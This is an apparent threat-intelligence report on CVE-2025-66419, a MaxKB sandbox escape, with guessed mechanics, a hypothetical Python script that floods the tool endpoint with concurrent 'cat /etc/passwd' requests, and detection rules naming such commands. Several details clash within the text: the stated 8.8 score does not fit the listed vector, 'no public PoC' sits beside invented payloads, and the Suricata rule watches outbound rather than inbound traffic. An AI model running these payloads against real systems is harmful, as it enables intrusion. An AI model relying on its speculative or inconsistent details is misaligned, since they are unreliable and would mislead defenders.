CVE-2025-66419

Executive Summary

CVE-2025-66419 is a critical sandbox escape vulnerability in MaxKB, an open-source enterprise AI assistant. Versions 2.3.1 and below contain a flaw in the tool module that allows an attacker to break out of the intended sandbox environment and escalate privileges under specific concurrent conditions. The vulnerability has a CVSS score of 8.8, indicating high severity. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is significant due to the potential for full system compromise. The vendor has released a fix in version 2.4.0.

Supply Chain & Package Security

MaxKB is distributed as a Python package and Docker container. Organizations using MaxKB should verify the integrity of their installation and ensure they are not running a compromised version. The vulnerability is in the core application logic, not in a third-party dependency, but the supply chain risk is elevated due to the lack of a public patch advisory and the potential for malicious actors to exploit unpatched instances.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full data access is possible.
• Integrity (I): High (H) – Full data modification is possible.
• Availability (A): High (H) – Full system disruption is possible.

Threat Level: Critical. The combination of network exploitability, no required privileges, and high impact makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability resides in the tool module of MaxKB, which is responsible for executing user-defined tools or functions within a sandboxed environment. The sandbox is intended to restrict access to system resources and prevent privilege escalation. However, under concurrent conditions (e.g., multiple simultaneous requests), a race condition or improper state management allows an attacker to escape the sandbox.

The exact mechanism is not publicly documented, but based on the description, it likely involves:

• Race Condition: The sandbox initialization or cleanup is not thread-safe, allowing an attacker to manipulate shared state.
• Improper Input Validation: The tool module may not properly validate or sanitize inputs when handling concurrent requests, leading to code injection or path traversal.
• Privilege Escalation: Once the sandbox is escaped, the attacker can execute arbitrary code with the privileges of the MaxKB process, potentially gaining root access.

The fix in version 2.4.0 likely addresses the concurrency issue by implementing proper locking mechanisms or redesigning the sandbox to be thread-safe.

Vulnerable vs. Patched Code

Since no specific code diff is available, the following is a hypothetical example of the vulnerable pattern and its fix.

Vulnerable Code (v2.3.1):

# tool_module.py
import threading

shared_resource = {}

def execute_tool(tool_input):
    # Race condition: multiple threads can modify shared_resource concurrently
    if "sandbox" not in shared_resource:
        shared_resource["sandbox"] = Sandbox()
    sandbox = shared_resource["sandbox"]
    return sandbox.run(tool_input)

Patched Code (v2.4.0):

# tool_module.py
import threading

lock = threading.Lock()
shared_resource = {}

def execute_tool(tool_input):
    with lock:
        if "sandbox" not in shared_resource:
            shared_resource["sandbox"] = Sandbox()
        sandbox = shared_resource["sandbox"]
    return sandbox.run(tool_input)

The patched version uses a lock to ensure that only one thread can initialize or access the sandbox at a time, preventing the race condition.

Exploitation & Lab Setup

Red Team

Objective: Escape the sandbox and escalate privileges.

Prerequisites:

• Access to a MaxKB instance (v2.3.1 or below).
• Ability to send multiple concurrent requests to the tool module.

Exploitation Steps:

1. Identify the tool module endpoint (e.g., /api/tool/execute).
2. Craft a malicious payload that attempts to break out of the sandbox (e.g., by manipulating file paths or injecting code).
3. Send multiple concurrent requests with the payload to trigger the race condition.
4. Once the sandbox is escaped, execute arbitrary commands (e.g., whoami, id, cat /etc/shadow).

Example Payload (Hypothetical):

# payload.py
import requests
import threading

url = "http://target:8080/api/tool/execute"
payload = {"tool": "system", "args": "cat /etc/passwd"}

def exploit():
    try:
        response = requests.post(url, json=payload, timeout=1)
        print(response.text)
    except:
        pass

threads = []
for i in range(100):
    t = threading.Thread(target=exploit)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

Blue Team

Objective: Detect and block exploitation attempts.

Detection Steps:

1. Monitor for multiple concurrent requests to the tool module from the same IP address.
2. Look for anomalous payloads containing system commands or path traversal sequences.
3. Check logs for sandbox escape errors or unexpected process executions.

Mitigation Steps:

1. Immediately upgrade to MaxKB v2.4.0.
2. If upgrade is not possible, restrict access to the tool module to trusted IPs only.
3. Implement rate limiting to reduce the likelihood of successful race condition exploitation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple concurrent POST requests to /api/tool/execute from the same source.
  • Payloads containing shell commands (e.g., cat, ls, id, whoami).
  • Unusual outbound connections from the MaxKB server to external IPs.

• Host IOCs:

  • Unexpected processes spawned by the MaxKB service (e.g., /bin/sh, /usr/bin/python).
  • Files created in sensitive directories (e.g., /tmp/exploit, /root/.ssh/).
  • Modified system files (e.g., /etc/passwd, /etc/shadow).

• Log IOCs:

  • Error messages related to sandbox escape or privilege escalation.
  • Repeated authentication failures followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_66419_MaxKB_Sandbox_Escape {
    meta:
        description = "Detects attempts to exploit CVE-2025-66419 in MaxKB"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66419"
    strings:
        $s1 = "/api/tool/execute" ascii wide nocase
        $s2 = "sandbox" ascii wide nocase
        $s3 = "system" ascii wide nocase
        $s4 = "cat /etc/passwd" ascii wide nocase
        $s5 = "whoami" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 5
}

Sigma Rule

title: CVE-2025-66419 MaxKB Sandbox Escape Attempt
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects multiple concurrent requests to the MaxKB tool module, indicating a potential sandbox escape attempt.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/tool/execute'
    condition: selection | count() by src_ip > 10 within 1s
falsepositives:
    - Legitimate high-load usage of the tool module
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66419 MaxKB Sandbox Escape Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/tool/execute"; http_uri; content:"system"; http_client_body; content:"cat /etc/passwd"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to MaxKB version 2.4.0 or later.
2. If upgrade is not possible, disable the tool module or restrict access to it via firewall rules.
3. Monitor logs for signs of exploitation.

Long-term Measures:

1. Implement a Web Application Firewall (WAF) to block malicious payloads.
2. Conduct a security audit of the MaxKB deployment.
3. Subscribe to vendor security advisories for future updates.

Valters IT Signature:

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.